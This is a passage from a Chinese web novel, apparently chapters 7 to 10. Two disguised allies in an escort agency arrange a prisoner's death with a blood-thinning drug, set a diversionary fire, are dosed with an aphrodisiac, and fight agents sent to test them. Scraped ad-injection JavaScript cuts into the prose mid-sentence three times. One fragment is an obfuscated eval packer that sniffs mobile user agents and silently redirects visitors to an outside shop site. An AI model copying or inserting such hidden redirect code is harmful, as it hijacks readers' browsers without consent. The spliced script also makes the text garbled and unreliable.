常五满脸惶恐,“扑通”一声就跪了下去:“三哥明鉴啊!我、我实在冤枉啊!你们都被他俩骗了啊!” 不论任他如何哀求辩解,庆三都没有分毫动摇。 等常五被强制押离,庆三道:“好了,你们开始晨练吧。” 人群散开,各自寻地方练武去了。 许妙仪和萧韫相视一眼,随即朝同一方向走去。但他们中间隔着半臂距离,交流也是寥寥,俨然一副半生不熟的样子。 他们都心知肚明,庆三之所以不抓捕他们,不是因为相信他们,而是没有确凿证据。反观常五,他是确确实实被同僚检举了的,自己也认了,辩词又被驳倒了,自是成了头号嫌疑人。 常五的被捕并不能让他们高枕无忧,若想让他们的言论更可信,就要尽力排除外人眼中他们串通的可能。但刻意保持距离未免此地无银,不如就保持原本的状态——除了交流合作内容,其余时候的相处都像半个陌生人。 不出所料,接下来的一整天,二人都能明显感知到来自暗处的窥探,是以他们表现得格外安分守己。 用过晚膳,许妙仪回房,见萧韫正端坐在案前看书。橘色的灯火映照下,他低垂的眉眼间生出几分柔和。 目光向下,她看见他手边铺着一张纸,纸上写着一个大大的“义”字。 她很快会意,径直在他对面坐下。 萧韫唇角微勾,提笔写下一行清隽的字:“许兄慧心妙舌,令某佩服不已。” 油嘴滑舌,谄媚做派。许妙仪轻轻哂笑,抬笔却写了一句:“向兄也是。” 还算愉快的第一次合作。 萧韫唇畔仍噙着笑意,笔下文字却溢出杀伐之气:“常五是个祸患,必须得除掉,越早越好。” 许妙仪见了,不由眉头微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蹙。 她明白这个道理:若常五在严刑拷打下仍咬死不认罪,她和萧韫的嫌疑会大大上升。蓝钰为了杜绝后患,很有可能采取“宁可错杀也不放过”的措施。 所以,为了他们的性命,为了以后的大计,常五必须死。 但…… 正思忖间,她余光瞥见对面的笔头又落到了纸面上,游舞出一排墨字:“许兄心软了?” 许妙仪抬眼,恰好对上萧韫漆黑的眸,戏谑中透着些许凉意。 他还真是谨慎,真是无时无刻不在试探她。 她撇了撇嘴,提笔写道:“非也。” 她卫道守义,却也并非一味的善良。常五本就不是什么好人,又对她的生命造成了威胁,那么她就不会手软。 “我只是觉得,他若死了,我们首当其冲。”她写。 明眼人都看得出来,常五一死,最大的获利者就是萧韫和许妙仪。 萧韫轻笑一声,写:“那他若是自己挨不过刑罚而死呢?这怎么说也怪不到我们头上吧?” 许妙仪挑眉:“向兄有何高见?” 满室静谧之中,一行字在萧韫笔下缓缓写就。 许妙仪凑过去一看,不由得目露赞赏:“可以。” 达成了共识,萧韫便拿起满是字迹的纸张,将其递到一旁的烛焰上。火焰吞噬纸张,势头拔高,此次对话就在这光耀中默认结束。 两日后是九九重阳节。在这一天,大多数官民都会休假,镖局也不例外。 按计划,萧韫和许妙仪要在今日出门。为了掩人耳目,他们加入了几个镖师结伴喝酒的队伍。 一行人有说有笑地出了镖局,来到闹市的一家酒馆。这酒馆生意很好,几乎座无虚席,镖师们恰好坐了最后一个空桌。 酒很快就上桌了,小二笑道:“诸位,这是小店的特色菊花酒,敬请品尝!” 众人各自拿过一个酒坛,开始畅饮。 菊花酒清甜甘美,不算烈酒,但许妙仪深知这幅身体不胜酒力,故而不敢多饮。 她混迹过官场,避酒技巧十分娴熟,没让他人看出异常。 但令她意外的是,她身体还是泛起了燥热,脑子也有些发晕。 这身体的酒量比她想象中的还要差。 一旁的萧韫见状,墨眉微蹙,借着喝酒的动作掩饰,低声道:“许兄可还行?” 许妙仪不答,悄然自袖中瓷瓶倒出一枚丹药,将其握在掌心。随后,她用这只成拳的手掩唇轻咳,趁机将丹药送入口中。 这丹药是专门对付迷药的,用其醒酒是绰绰有余。 丹药很快化开,她的灵台逐渐清明。 萧韫犹豫片刻,还是站起身来,朝众人拱手道:“某去更衣,片刻即回。” 镖师们或点点头,或挥挥手,或说一句“去吧去吧”,接着继续谈笑风生,看起来并不大关注萧韫的去向。 饶是如此,萧韫在转身离去前,还是给许妙仪递了一个眼神。 许妙仪明白他的意思,打起十二分的精神——萧韫去和他的手下碰头了,她的任务就是看好面前的这些人。 但出乎意料的是,镖师们交谈的兴致愈发高昂,无人表现出寻找萧韫的意图。 看来其中没有蓝家的人。 许妙仪略微宽了心,但她很快就高兴不起来了—— 她体内再次发起热来,一阵接着一阵,似绵延不绝的海浪。 隐隐与之相伴的,是一种原始的欲/望。 倏然,一个念头在许妙仪脑海中炸开—— 这酒有问题! 8. 第 8 章 事实已经显而易见了——菊花酒里被下了催-情-药。 许妙仪着实没想到会有人用这种药对付她,故而没有准备相应的解毒丹。而此刻再次腾起的热浪已经证明,其他的丹药没有用。 她勉力抬眼,扫视周围的同僚。只见他们虽个个都面色酡红,但精神劲儿很足,完全没有中药的迹象。 看来只有她的酒坛里被下了药。 可为什么是她?又为什么是这种方式? 她百思不得其解。 “许双兄,你这就不行了?”一道含醉的男声响起,带着几分调侃——是同行的镖师陈远。 许妙仪摇摇头,语气虚浮:“酒……有问题……” “啊?有问题?不会吧,我们兄弟都好好的呢。”陈远一脸不可置信,其余众人亦是面面相觑。 许妙仪艰难地再度开口:“我也不知……为何……只有我的……有问题……” 说着,她缓缓抬起脸。除去被胎记占据的地方,她的面上泛着明显不正常的潮红,一路蔓延到脖颈。 众镖师多少都是见过世面的,哪能猜不出这是什么药? 陈远当即猛地一拍桌子,起身喝道:“小二!你们店是怎么回事?!给我兄弟喝成这样了!” 他这一下声如洪钟,全店人的目光都被吸引了过来。小二闻声赶来,见了许妙仪,不由得大吃一惊,无措道:“这、这我也不知道啊……” 陈远怒道:“那就去找你们管事的来!总之你们今天必须给我们一个交代!” “是是是!”小二如蒙大赦,飞也似地逃走了。 不多时,酒馆的掌柜匆匆赶来,赔笑道:“诸位好汉恕罪,伙计们粗心,竟让不怀好意之人掺了不干净的东西进去。某定会查清真相,给诸位一个交代。” 他又看了许妙仪一眼,道:“为略表歉意,小店免费给这位好汉提供厢房休息,再出资请个郎中或者花娘来为好汉解药,最后送诸位几坛美酒,如何?” 陈远的面色这才缓和了些,道:“也行。” “我要郎中!”一直迷迷糊糊的许妙仪突然出声。伴随着她双唇开合,几缕血水自口中溢出,但很快又被她擦去——是她咬破舌尖,以疼痛唤回了几分清醒与气力。 催-情-药虽能换得一时欢愉,但多少会损伤身体,故而对于许妙仪的选择,众镖师并不意外。 陈远对掌柜道:“听见了吧?你们动作最好快点啊。” “是是是!”掌柜连声说着,招呼身后的伙计,“给好汉们带路。” 就在这时,忽然有人叫道:“向玉回来了!” 许妙仪愣愣地回头看去,只见萧韫长身鹤立,正缓缓往这边而来。他神情依旧淡然,只是面上微微泛红。 眉头微蹙,许妙仪觉得有些不对劲,一时却又想不起来是哪里不对劲。 陈远招呼道:“向玉!你小子来得正好!许双中了那种药,你扶他去休息一下。” 萧韫眸中划过一抹意外。迟疑片刻,他方颔首应下:“好。” 许妙仪虽保有几分理智,但四肢仍是绵软无力。被萧韫扶起身后,她整个人便不受控制地往他身上倾去,头抵在他胸膛,双手柔柔拽着他的衣裳。 隔着好几层衣料,萧韫都能感受到她炽热的体温。他僵了一瞬,但没有说什么,并用另一只手托住许妙仪肋侧,以便更好搀扶。 二人由伙计带路,很快就来到了后院的一间厢房。 这厢房很小,布置也简陋,只有一张床、一套桌椅以及一个烛台。 伙计道:“这是掌柜小憩的地方,故而有些简陋,还请好汉见谅。” 萧韫道了声“没事”,伙计便低头退了出去,并带上了门。 萧韫把许妙仪扶到床上,自己则坐到了对面的椅子上。他以手扶额,墨眉深蹙,薄唇紧抿,似乎是在忍耐着什么。 他是在和属下接头时察觉到身体异常的。他“身经百战”,被下过许多种药,很快就分辨出这是催-情-药。 是谁会给他下这种药?他一时想不明白,也没空想——当务之急是解药。 让属下给他送解药是不可行的,毕竟他处于监视之中,离席次数多了难免惹人生疑。 他自己去寻医馆吗?可运动只会加快催-情-药的发作。 至于镖局的那帮人和许双,他不大信任,更不会轻易托付以这种要紧事。 属下灵机一动,出了个主意:“郎君您暂且忍忍,先回到席上。属下去找万郎中,让他以饮酒之名来这酒馆,再假装不经意地发现中药的您,好心为您医治。旁人只会当这是个巧合。” 万郎中是萧韫的随侍医者,萧韫对他很放心。再者,他确实也习惯了他人上门-服务,于是应允,径直回到席上。 令他意外的是,许妙仪居然也中了药,而其余镖师则很正常。 为何是他们二人?是蓝家人下的手吗?可为什么选这种方式?萧韫只觉一头雾水。 思绪纷乱间,体温逐渐升高,情-欲的浪潮也澎湃起来,不断吞噬着他的理智。 这药,比他想象中的药厉害许多…… 无独有偶,床上的许妙仪感觉体内似有万千蚂蚁在啃噬,□□汹涌,几乎要将她的理智焚毁。 她知道萧韫还在房中,为避免失控之下暴露身份,她双手紧攥出血,唇上也咬得一片血肉模糊。 恍惚中,她看见萧韫正坐在对面,面色潮红,胸膛起伏比平常更明显,也更快。 他……也中催-情-药了? 她这才想起来,先前她心中的那丝异样感,源于萧韫面上的微红——萧韫离席时,面上没有半分酒意…… 许妙仪还没来得及想太多,潮水便再度涌来,将她的思绪淹没。 二人都被药效折磨着,但无一人出声。狭小的厢房内唯有低而急的喘气声,将空气渲染得暧昧。 每一分,每一秒,都被无限拉长。 或许是因为体质不好,药效在许妙仪体内格外肆虐。意志力濒临崩溃,她齿关一松,唇间溢出几声低低的娇吟。 这几声如惊雷在萧韫耳畔炸响,他头脑霎时清醒不少,猛然抬头看向许妙仪:“你……是女子?” 在催-情-药作用下,他嗓音微哑,较之平日更加磁性诱人。 许妙仪此时的脑子像是生锈了,转得很慢。萧韫的声音落入她耳中,她只凭本能生出几分情动,完全不理解其中含义。 萧韫微微眯眼,眸光晦暗不明。忽地,他起身走向许妙仪。 许妙仪忽见萧韫的脸出现在自己上方,顿时就恢复了神智,后知后觉他那句话的意思。 惊慌交加之下,她生出了几分气力,连忙坐起身,一边裹紧衣服往里面缩,一边狠狠瞪着萧韫,咬牙切齿道:“你若想……动我……就先杀了我……否则等……药效褪去……我一定杀了你!” 此时她没有刻意掩饰,又有情药的催动。所以这句话虽然语意凶狠,却也格外娇媚动人。 萧韫一顿,眉尾微挑,嘴角扯出一个轻微的弧度:“在你眼中,我就是那种人?” 许妙仪看着他,默了半晌,道:“我不知道。” 起初,她坚定不移地认为他是个奸官污吏。可后来在镖局重逢,她便摸不清他是怎样的人了。 她一直在想,一直在观望:他究竟是为民生而来,还是为了更滔天的权势? 少顷,萧韫轻叹一口气,默默收回目光,伸手直接把许妙仪捞了过来,伸手扯她的腰带。 许妙仪想反抗,然而手脚无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 力,落在萧韫身上竟莫名像在调情。 于是她深深闭上眼,默默安慰自己:萧韫身材相貌都好,她也不亏…… 腰带被扯下后,一阵布帛撕裂的声响传来。她惊讶地睁开眼,只见萧韫将她的腰带撕成了两半。随后,他空出一只手,拉起她的双手拢在一处,另一手将半条腰带捆上她的腕子。 许妙仪不自觉地联想到了一些奇怪的东西,顿时羞恼不已,双眼几欲喷火。 萧韫察觉到许妙仪愤怒的目光,低低嗤笑一声,语带几分揶揄:“我只是怕你对我不轨,你……以为是什么?” 许妙仪一愣。 萧韫手上动作不停,捆好了许妙仪的手,便又用剩下的半条腰带去捆她的脚。完成了这一系列动作,他便退回了椅子上。 “……”许妙仪尴尬地别过头。 倏地,耳边传来“噗嗤”一声。许妙仪知道这是兵器刺破皮肉的声音,连忙循声看去。 只见萧韫一手握着柄沾血的匕首,另一手的手心裂着一道豁口,大量殷红的血从中涌出,又往地面淌去,几乎形成一道连绵的血线。 伴随着浓烈的血腥气窜入鼻腔,许妙仪听见萧韫哑声说:“放心吧,我不是那种人。” 许妙仪愣住了,心情无比复杂。 “你要吗?”萧韫晃了晃手中的匕首,问许妙仪。 许妙仪犹豫了一下,还是点了点头。 萧韫走到许妙仪身边,拉过她的手,用匕首割破她的掌心。 随着血液涌出,许妙仪体内的邪火也泄了几分。她微微喘着气,道:“多谢。” “既是盟友,自是应该互相帮助。”萧韫淡淡说罢,收回匕首,转身坐了回去。 又过了一阵,萧韫道:“郎中应该快到了,我出去寻一寻。” 为何要自己出去寻?许妙仪脑子没转过来,不大理解,但还是点了点头。 萧韫撕下衣角,利落地给自己手心做好包扎,随后出门。 疼痛终究不是解药,没多久许妙仪就迎来了新一轮的折磨。在这般情境下,等待无疑是漫长的。好在萧韫没有让她多等,不久就回来了,身后跟着一个提药箱的郎中。 许妙仪大汗淋漓,意识几近涣散,隐隐听得萧韫说:“我服了你的清心丸,还能再撑一撑。你先给她施针吧,她发作得比我厉害。” 然后,她就晕了过去。 再醒来时,许妙仪只觉浑身酸乏无比。缓缓坐起身,她发现自己身处镖局的房间内。房内灯火明亮,窗外则已是夜色深沉。 偏过头,她一眼就望见萧韫正在给手心的伤口换药。大概是听见了动静,他头也不抬,语气平静:“醒了?” 许妙仪“嗯”了一声。 萧韫又问:“现在我该如何称呼你?” “就像原来那样吧。” “好,许兄。”萧韫说话间已包好了纱布。他以手撑头,看向许妙仪,道,“许兄不觉得,应该跟某道个歉吗?” 许妙仪不解:“为何要跟你道歉?” “因为你错怪我了。” 许妙仪抿了抿唇,拱手道:“抱歉,今日是我以小人之心度君子之腹,冤枉向兄了,还望向兄勿怪。” 萧韫颇为满意地点点头,又道:“许兄还应该谢谢我。” “这又是为何?” “等酒馆找的郎中过来,你早就昏死过去了。” 言下之意就是,萧韫带来的郎中是他的人。 许妙仪觉得他的语气实在是贱嗖嗖的,但毕竟受惠于人,只好再次拱手:“多谢向兄相救。” 萧韫唇角微弯,又道:“对了,某还有一事想问。” “说吧。” “许兄武艺非凡,可为何一双手上却毫无习武痕迹呢?” 9. 第 9 章 说这话时,萧韫的目光直直落在许妙仪身上,其中是毫不掩饰的审视之意。 许妙仪太阳穴狠狠一跳。 被他看出来了。 通常来说,习武之人手上会有厚茧。而李霜儿养尊处优十余年,一双手自是白皙细腻。 虽然在阳原的那段日子里,许妙仪事事亲力亲为,还没少锻炼身体,但毕竟只有短短半个多月,完全不足以生出茧子。 所以,她总把手拢在袖中。恰秋凉霜重,无人对此起疑。 如今萧韫勘破此事,大概是因为此前中药,他拉了她的手。 要告知他真相吗?当然不。 一是,穿越之事一时半会儿说不清楚,她懒得白费口舌;二是,这样离奇古怪的事,她怕自己被当做妖邪抓起来。 虽然,经□□一事后,她对萧韫有所改观,但毕竟还没到信任的地步。 防人之心不可无。 思及此处,她深吸一口气,平静开口:“我虽习武,但同时也注重手部保养,有何不可?” 萧韫挑眉,明显不相信:“世间居然有这般好的保养方子?” “向兄,世间之大,无奇不有。你没见过,不代表没有。”许妙仪一本正经地胡说八道。 萧韫听罢,唇角勾起一个莫名的弧度,道:“是某无知了,让许兄见笑。” 说着,他缓缓垂下眼睫,遮住眼底微澜。 他莫名觉得,许双有些像那夜绑架他的女子。他毕竟和那女子打了一架,多少会有些触碰。所以他隐约记得,那女子手上没有茧子。 并且,她似乎和许双体型差不多…… 许妙仪并未察觉到萧韫的这些心思,披衣下床,径直走到他对面坐下,压低声音,问:“东西拿到了吗?可还顺利?” 萧韫回过神来,从袖中掏出一个小纸包放在桌上,道:“投药之事就交给许兄去办了,届时我会为你打好掩护。” 这是一剂活血的方子。其于常人来说是良药益方,但对伤患来说却是催命毒药——尤其是外伤居多的伤患,一旦服用,便会血流不止而亡。 许妙仪点头应下,把纸包收进袖中,又问:“何时行动?” “明日。明日会有天公相助。” 许妙仪有些意外:“你还会看天象呢?” “略通皮毛。”萧韫这般说着,面上却没有半分谦和之色。 许妙仪又问:“你要如何为我打掩护?” 萧韫卖关子:“届时你就知道了。” 许妙仪轻嗤一声,笑道:“行,那我就期待一下。” 说罢,她起身往回走。然而没走几步,她忽然又顿住了,转头问萧韫:“对了,催-情药的事,那酒馆可给了交代?” 萧韫冷笑一声,道:“说来离谱。有一小吏之子,恋慕邻家女子,却多年求之不得。于是他心生歹念,以过寿之名把女子约来酒馆。他提前买通酒馆伙计,在酒中下了药。按计划,伙计会把有药的酒送给他们。如此一来,木已成舟,那女子不嫁也得嫁了。可不知为何出了错,这事就落到了我们头上。” 许妙仪听得胸中激愤不已,只恨自己晕了过去,否则定要将这厮痛打一顿。她连忙追问:“那后来呢?” 萧韫轻轻“唔”了一声,道:“自是让人将他扭送去了公廨,官兵打了他十个板子——估计他有一段时间不能下床了。” 许妙仪这才舒了一口气,道:“活该,看他以后还敢不敢!” 闻言,萧韫盯着许妙仪看了一瞬,眸光晦暗不明。 翌日,萧许二人照常活动,表现得和此前一样“安分”。 夜里,许妙仪用过晚膳回房。房中灯火明亮,却不见萧韫的踪影。 头顶隐隐响起沉闷的雷声,许妙仪心中忽然就有了答案。 约莫等了两刻钟,外间逐渐变得嘈杂。 许妙仪打开门,不正常的光亮迎面洒来。只见小半边天空都被染红,如果忽略那大量窜升的浓烟,倒真有几分像黄昏时的落霞。近处,扇扇房门大开,廊下站满了人,或震惊或恐慌,议论不断。 “是咱镖局的库房着火了!快去帮忙救火啊!”不知是谁先喊了这么一句。 镖师们这才如梦初醒,纷纷撸起袖子,往火光方向而去。 身后有轻微的足音响起,许妙仪扭头,只见“罪魁祸首”正气定神闲地倒着茶水。 “调虎离山,如何?”萧韫头也不抬,语气颇为愉悦。 许妙仪不想看萧韫太得意,只道:“一般般。” 语毕,她转回头往外走去,丢下一句:“我去帮忙救火了。” 火势汹汹,镖局陷入一片混乱,人人奔走忙活。 许妙仪趁乱甩开监视者,一路来到地牢附近的水井边,将药粉撒了进去——地牢离库房很远,没人会傻到用远水来救近火的。 整个过程十分顺利。随后她回到火灾区域,装模作样地开始帮忙救火。 很巧,她看见了同样装模作样的萧韫。 冲天火光下,隔着熙攘人群,二人遥遥对视一眼,然后继续装模作样。 这一夜,数十人合力忙活到快子时,才彻底将火扑灭。镖局中包括库房在内的大半个偏院,都被焚毁殆尽。 蓝钰赶到现场时,脸色阴沉得像夏日暴雨前的乌云。 庆三把一个男子押跪到蓝钰跟前,道:“娘子,今日就是他负责看守库房。” 那人浑身抖如筛糠,声音也直打颤:“娘、娘子宽恕啊!这火是雷劈而成,实在是防不胜防啊!而且,火是从堆放干草饲料的库房烧起来的,转瞬就成火海了……” 他话音刚落,仿佛是在配合他一般,空中划过一道闪电,将天地照得亮如白昼,紧接着便有雷鸣炸响。 蓝钰仍板着脸不说话,紧盯着男子,似乎是想通过他的表情来辨别言语真伪。良久,她又幽幽扫视过在场众人,这才终于开口,声线很冷:“把他带下去。其他人回去休息吧。” 回到房中,许妙仪忍不住道:“向兄此计着实高明。” 他选在这种天气下手,能在最大程度上减少人为纵火的嫌疑。且不说雷击起火之事本就常见,看守库房的人为了减轻罪责,也会咬定此火是雷击引起。 “也就一般般吧。”萧韫淡声说着,悠悠端起茶杯浅啜一口。 许妙仪:“……” 她闭了闭眼,默默将头扭向另一边。 * 得到常五的死讯,是在三日后的早晨。 去晨练的路上,许妙仪和萧韫经过一个人堆,隐隐听得“常五”“死”之类的字眼。 于是,许妙仪凑过去问:“诸位兄弟是在说什么?” “常五死了。”一人压低声音回答。 许妙仪故作惊讶:“是怎么死的?” “还能怎么死的,被打死的呗。” 另有一人补充道:“听说,娘子这次下手格外重。” 许妙仪面上唏嘘着,心头却觉轻松不少,仿佛是终于搬开了一块积压许久的巨石。 谁知这夜,庆三找上门来了。 许妙仪和萧韫交换了一个警惕的眼神,在心里做起迎接挑战的准备。 然而庆三却说:“来活儿了,要护送一批名贵布料到青州。你俩收拾收拾,明天城门一开就走。” 被派发任务,就证明蓝家暂且打消了对他们的怀疑。 两人眸光微动,连忙应下:“是。” 翌日天色蒙亮,走镖的队伍就在镖局门口聚集完毕。除了萧韫和许妙仪,还有两名镖师和一个趟子手,其中陈远担任总领头。 此次运输的货物有满满五车,商铺派出六人,一个领事并五个车夫。 陈远先是交代了注意事项,接着在牛车上插起明远镖局的特色黑红旗——此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乃“明镖”,目的是震慑不轨之徒,这才领着人浩浩荡荡地出发。 本是天朗气清的好天气,不料午后,老天忽然就变了脸——狂风大作,墨色的浓云翻涌着在天幕铺开。 陈远道:“快下雨了,我们得赶在下雨前找到地方避雨。否则届时道路泥泞难行,容易摔跤。这布料名贵,可摔不得。” 其余人纷纷点头赞同,加快赶路速度。 不久,一座破败的庙宇映入眼帘。 车队停下,镖师们先帮忙将货搬进庙里。 许妙仪和萧韫一齐抬着一箱货,箱子明显向许妙仪一方倾斜。 “看来许兄还需要练。”萧韫轻声揶揄。 许妙仪冷笑一声,道:“人有所短,无可厚非。等我将体力练上去,第一个收拾的就是你。” “某拭目以待。” 许妙仪气结。果然,这种厚脸皮的人,最是难缠! 说话间,二人已经进了庙。 只见里头正蹲着几个男人,皆着粗布短衣。见了众镖师,其中一个瘦高个的男人猛然站起身来:“你们是……明远镖局的人?!” 震惊之下,似乎潜藏着几分怒气。 陈远站到众镖师前面,不卑不亢答:“是。这位兄弟何故如此激动?” 气氛像一张弓,在无形中被拉成满月状,一触即发。 旁边有人伸手拉了拉瘦高个,低低说了些什么。瘦高个情绪渐渐平复,又重新坐了下去。 “不好意思,我这位兄弟脑子不太正常。”劝慰瘦高个的男人赔笑着开口,“诸位英雄莫要见怪。” 陈远没应他,扭头招呼身后人道:“咱们去偏殿吧。” 一行人在偏殿安置下来。百无聊赖,人们就聊起了天。 他们谈论到“亲人”,许妙仪不感兴趣,就仰头去看窗外的雨幕。 细雨如丝,总能勾动人的愁肠…… “在想什么?”耳畔传来萧韫低低的声音。 许妙仪的语气是难得的惆怅柔缓:“岁月千载,世间日新月异,沧海亦可为桑田。好像唯有这日月星辰、风霜雨雪是永远不会变的。” 她说完就后悔了,她也不知道自己为何会这么说。她咳了咳,道:“你就当我什么也没说……” 话音未落,萧韫便忽然道:“不,还有种东西是不会变的。” 许妙仪颇感意外,扭头看向萧韫。 冥冥暮色中,他轮廓模糊,眸中却有一点光亮。他看着许妙仪,说:“古有屈原谏君九死不悔,后有武侯鞠躬尽瘁死而后已。时光变迁,却总会有人将这种精神传承下去,千秋万代。” 那一刻,许妙仪内心有震撼、有惊讶,亦有几分了悟……很多种情绪杂糅在一起,难以名状。 直到萧韫语意一转,道:“再说如今,我听说巡查江南五州的萧御史,亦乃时之英者。” “……”许妙仪默默扭回了头。 这场雨一下就是个没完,淅淅沥沥直到天黑。 陈远于是决定今晚在此歇下,并排了守夜的班。 众人聊得都有些困乏了,纷纷倚墙睡去。 许妙仪闭眼小憩了一阵,忽觉尿意,于是起身和守夜的人打了个招呼,朝外走去。 此时雨势已歇,她踩着泥泞的荒草地,一路摸黑来到庙旁的小树林中。 她隐约听见了交谈声,心中狐疑,不自觉循声走去。 “你别拦着我,我一定要杀了那帮蓝家走狗,为我妹妹报仇!”正是那瘦高个的声音。音量压得很低,其中怒气却难以掩饰。 许妙仪心下一沉,开始缓缓倒退。 令她万万没想到的是,下一刻,她撞上了什么东西——那触感明显不是树木,更像是……人。 她心头一惊,下意识就想与那人拉开距离。然而有一只手快速从后环住了她的腰,同时另一只手捂住了她的嘴。 10.第 10 章 斗笠被撞得向前倾来,将她的视线完全遮蔽。一具躯体从后面贴着她,炽热的温度透过湿润的衣料传来。 与此同时,熟悉的草木冷香盈满她的鼻腔,萧韫用气声道:“嘘——别乱动。” 他的气息轻柔地扑在她耳后,在这湿冷的环境中显得格外炽热,叫她的皮肤也莫名跟着烧灼起来。 不知为何,分明萧韫不算敌人,她脑中的弦却仍是紧绷着,心跳如擂鼓。 这种感觉很陌生,她不喜欢,于是曲肘顶了顶萧韫。 萧韫会意,放开了对许妙仪的桎梏。 许妙仪连忙上前一小步,与萧韫拉开距离,又重新将斗笠戴好,继续去听那厢的交谈声—— “且不说那些个商队的不一定有功夫傍身,就算有,也不是难题——给他们下点迷魂药不就好了?”瘦高个不以为然。 另一个男子有些犹豫:“可以是可以,只是……大哥能同意吗?” “先斩后奏。” 沉默半晌,是男子在犹豫。 “你还犹豫什么呀?这么好的机会!你难道忘了我家小妹吗?她可是你看着长大的!”瘦高个有些急燥。 男子终于下定决心:“行,干!” “好兄弟!”瘦高个有些兴奋,“你快点儿的,我都迫不及待了。” “别催,马上了。” 听到此处,萧韫和许妙仪不约而同地开始往回走。 两人蹑手蹑脚的,还没走出几步,便听身后响起一声怒喝:“谁在那里?!” 许妙仪顿了一下,霎时间脑中思绪纷纷:从某种程度上来说,这些人算是和她同阵营的。所以,她要和他们“相认”吗?可是,说了他们就会信吗? 倏地,脑中灵光一现,她快速对萧韫说:“跑!” 萧韫眸中泛起不解与惊讶,犹豫片刻,他还是选择跟上许妙仪的步伐。 “是蓝家的人!站住!!!”背后传来瘦高个又惊又怒的声音。 朦胧细雨中,许妙仪和萧韫跑得飞快,一路泥水飞溅。 倏然,身后有寒意逼近。二人回头一看,只见数枚冷镖飞袭而来。这些飞镖速度很快,顷刻就到了面前,他们来不及抽剑抵御,只得往旁边闪去。 不料许妙仪脚下一滑,瞬间失去了平衡,重重摔倒在地,泥泞满身。 萧韫闻声回头看来,连忙来扶许妙仪。 就在这个空隙,盘山寨的两人追了上来。瘦高个持斧,另一人拿鞭,一前一后地围住了萧韫和许妙仪。 “真是没想到有人会自己送上门来。”瘦高个阴测测地笑道,“还省了我的迷魂药。” 许妙仪被扶着起身后,顾不得身上疼痛,迅速切换成战斗准备姿态——抽出腰间配剑,与萧韫背靠背而立。 “要打吗?”萧韫微微偏头,低声问。 许妙仪朝远处的破庙看了一眼,咬牙道:“打!”语毕,她提剑朝持鞭男人冲去。 萧韫深深看了一眼许妙仪,眸光复杂。随后,他挽了个剑花,上前与瘦高个缠斗了起来。 雨势骤然变急,轰隆如雷贯耳,像是苍天为他们敲响的战鼓。 许妙仪剑式凌厉,步步都是杀招。持鞭男人也不遑多让,每一式都直探许妙仪命门。 但没过多久,持鞭男人就落了下乘——许妙仪采取的是不要命的打法,似乎要与对方不死不休。 男人眼中晃过一丝忌惮,喊道:“留得青山在,不愁没柴烧!”说完,他抽身朝破庙奔逃而去。 瘦高个见状,低低骂了一句什么,也脱战跟了上去。 许妙仪没有追,膝盖一弯就半跪了下去,以剑撑地——方才的战斗中,她体力损耗太大,并且还负了不少伤。 “为何?”沉重的雨声中,萧韫微哑的嗓音在头顶响起。 许妙仪勉力站起身来,解释道:“在树林里时,我们的动静分明很小,他们却还是发现了我们。若他们真有那么敏锐,早在我开始跟踪他们的时候,他们就应该有所察觉。” “而且,岳强让我出来的时候,有一两个人还是醒着的。他为何不叫他们,却偏偏要把我叫醒呢?” 萧韫了然,接过话头:“所以,他们是串通好了的,就是想让我们听到那些话。” 许妙仪点点头:“如果没有猜错,那些人根本不是什么盘山寨的,而是蓝家的人。他们此行的目的就是为了试探我们。” “许兄实在聪敏过人,某自愧弗如。”萧韫轻叹。 许妙仪本准备谦逊地说一句“过誉”,可话到嘴边,她忽然又有了更好的回答:“也就一般般吧。” 萧韫:“……” 默了好半晌,他方憋出几个字:“许兄,太记仇可不是什么好习惯。” 见萧韫吃瘪,许妙仪心情顿时畅快不少。 这时,她余光瞥见破庙中走出几个人影。他们急急忙忙的,很快就没入雨幕,消失不见。 “想必是那几个自称盘山寨的人,”她长舒一口气,“这一关,算是过了。” 接着,又有一点光亮从庙中飘了出来。再定睛一看,那点光亮被人拿在手中,似乎是……夜明珠! 许妙仪忽然想起,管事曾说过,走镖在外,为防无法用火的特殊情况,镖头身上都会备一颗夜明珠。 随即,她又想起了什么,心下猛然一沉。 萧韫并未注意到许妙仪的异常,只道:“他们来''接应''了,走吧。” 他向前走了好几步,方察觉许妙仪没有跟上来。他步子一顿,疑惑地回头看去。只见许妙仪站在原地,面庞笼在一片黑暗中,模糊不清。 “你能抱着我吗?”她一本正经道。 “啊?”萧韫心中震撼无比,简直怀疑自己听错了。 许妙仪认真地重复道:“你能抱着我吗?” 萧韫头一次见有人能理直气壮地提出如此无理的要求,霎时大脑一片空白。 许妙仪见萧韫不回答,又见夜明珠越来越近,心下急切,上前一步道:“向兄,此事我一时半会儿解释不清楚,但它关系到我们二人的生死存亡!请你务必相助!” 萧韫蹙眉思索片刻,最终闭了闭眼,妥协道:“你想怎么抱?” “你靠近我一些。”许妙仪道。 萧韫走到许妙仪跟前。 许妙仪踮起脚,伸手搂住萧韫的脖子。 萧韫身形一滞,深吸一口气,弯腰将许妙仪打横抱起。 这是他二十三年人生中,第一次抱一个女子。 感受着女子柔软而湿热的身体坠在他的双臂内,紧贴着他的胸膛,他的心脏不自觉加快了律动,呼吸也跟着紊乱起来了。 手心的触感是最明显的,他有些无措,最终只得将手紧握成拳。 许妙仪被萧韫的气息全面包裹,能明显感受到他有力的臂膀,以及坚硬胸膛下急促的心跳。先前树林中的那种难受的感觉卷土重来,但危急关头,她顾不得许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13856601|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了。 她松了松斗笠系带,以便更好地将头埋进萧韫的肩窝。她低声道:“待会儿你就说,我伤得有些重,体力不支。” “行。”萧韫的声音是难得的不自然。 